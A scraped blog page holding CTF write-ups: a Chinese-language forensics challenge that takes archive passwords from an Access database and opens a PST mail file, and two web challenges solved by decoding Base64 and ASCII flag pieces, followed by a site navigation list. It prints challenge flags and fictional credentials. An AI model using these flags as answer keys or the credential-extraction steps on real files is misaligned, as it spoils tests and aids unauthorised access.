題目附加檔案：SXB.zip，解壓後得到 AccessControl.rar 和 HRdb.mdb。
AccessControl.rar 有密碼，先從 HRdb.mdb 下手：
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF/SXB$ mdb-tables HRdb.mdb
員工名單 檔案資訊
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF/SXB$ mdb-export HRdb.mdb 檔案資訊
NO,EMPID,Account,Pwd,FilePWD
"TG001","EM348","Paul","ZTSW1E","pvYp8se247"
"TG002","HB035","Tony","nBUGV8","bFE8ek5133"
"TG005","HB084","Peter","BoUEvZ","WQ6f6f3859"
"TG003","HB407","Amy","TqyHyG","ylhpakj152"
"TG004","HB720","Yvonne","ag1WVK","aRwt9nb020"
"TG006","HB922","Rich","UCuOPE","qGF7tag158"

暴力嘗試後得到壓縮檔密碼 WQ6f6f3859，解壓得到 Access Control.pst。
使用線上工具 https://goldfynch.com/pst-viewer/ 開啟後找到 flag。

Flag: CTF{security+4Cc3ssC0ntr0ller}


UWSP Pointer Overflow CTF writeup
xzhiyouu62 — 2024-11-12T00:00:00.000Z

CTFtime: https://ctftime.org/event/2121/

player: xzhiyouu

Web 100 - The Way Out is Through


Problem description



The question provided a link, so I clicked on it, but there was nothing there.

So I switched to the source code to look at it, and found that the flag seemed to be divided into five parts.


  
    
    
    TTiOT
  
  
    Not Found
    The requested URL /snazzy-dump-pics.html was not found on this server.
    
    Apache/1.1.3 (Ubuntu) Server at localhost Port 1337

    
  


let part_1 = [112, 111, 99, 116].map(x => String.fromCharCode(x)).join('');

This line converts each number in [112, 111, 99, 116] to a character (ASCII values).

So the result of part_1 will be poct

let part_2 = atob("Znt1d3NwXw==");

This part uses atob() to decode a Base64 string

The result of part*2 will be f{uwsp*

let part_3 = "document.cookie";

This sets a cookie value in document.cookie using Unicode escape sequences.
We can see the value of document.cookie below.
document.cookie = "\u0037\u0068\u0033";

The result of part_3 will be 7h3
let part_4 = "XzdydTdoXw==";

Just another Base64 string to decode.

The result of part*4 will be \_7ru7h*

part_5_hex = [0x31, 0x35, 0x5f, 0x30, 0x75, 0x37, 0x5f, 0x37, 0x68, 0x33, 0x72, 0x33, 0x7d];

This is an array of hexadecimal values representing ASCII characters.

The result of part_5 will be 15_0u7_7h3r3}

So just put all the broken flags together to get the final answer.
poctf{uwsp_7h3_7ru7h_15_0u7_7h3r3}
Web 100 - Giving Up the Game


Problem description


It’s also a Web question type…

You will see a game called Space Adventure starting up and spinning for a long time.


We check the source code first.

So I got this.


  
    Loading Space Adventure... Please wait.

    
      
    

    

    Tip: Collect all power-ups to upgrade your ship! 💥
  

  


I saw a string at the bottom that looked like Base64, so I took it to decode it.

The result will be: Thank you Mario! But our princess is in another castle!

Okay, this doesn’t look like a flag.

After carefully checking the code, I found a path called /getSprites

Entering the page, I got another string of Base64

cG9jdGZ7dXdzcF8xXzdIMW5rXzdIM3IzcjBfMV80bX0=

Okay, let’s take it to the decoder to decode it.

Then I got the right flag!

poctf{uwsp_1_7H1nk_7H3r3r0_1_4m}

Date	Activity
Aug 19	Meet study partners, ice-breaking, open data introduction
Aug 20	Project idea and making
Aug 21	Project sharing, visit Google office

xzhiyouu's Blog

THJCC 2026 Summer — Official Writeup (zh-TW)

Before all

Welcome

Misc

67jail

Time Machine

SO EZ MISC

CTFxck

Shifting…v2?

Web

SimpleNotes

THJCC 2026 Summer — Official Writeup (en)

Before all

Welcome

Misc

67jail

Time Machine

SO EZ MISC

CTFxck

Shifting…v2?

Web

SimpleNotes

What is Web3?

前言

什麼是 Web 3？

什麼是區塊鏈？

區塊鏈之三大核心

去中心化

共識

不可竄改

女巫攻擊（Sybil Attack）

共識演算法

Proof of Work（PoW）

Proof of Stake（PoS）

以太坊合併

以太坊智能合約

特色

典型應用

NHNC CTF 2026 writeup

Talking to the Sun

Web3JS

#include

Farewell, #include

Camel rider

travel again

Homework

Tea-agent

I Love Proxy

TEAGod Tech Staff WiFi

67 login system

Confused Component - Rev

TSCCTF 2026 writeup

前言

Pwn

Magic Word

PwnSec CTF 2025 Forensics-HiddenData writeup

CTFtime: https://ctftime.org/event/2906

V1t CTF 2025 writeup

CTFtime: https://ctftime.org/event/2920

[Misc] Dont Bother

[Misc] MOOOO

[Forensics] Tryna crack?

osu!gamingCTF 2025 writeup

rot727

ssss

解法：

Solution:

資訊班成發專題 - 導盲犬機器車

2025 Taiwan & Korea Open Data Analysis Project

Daily Activity Sketch

Memorable Highlights

Reflections

Event Photos

Project Presentation

Attachments

Public Data Project Guide

Introduction

Key Benefits:

5-Step Guide to Completing a Public Data Project

資安實務素養「自主學習」 CTF 挑戰賽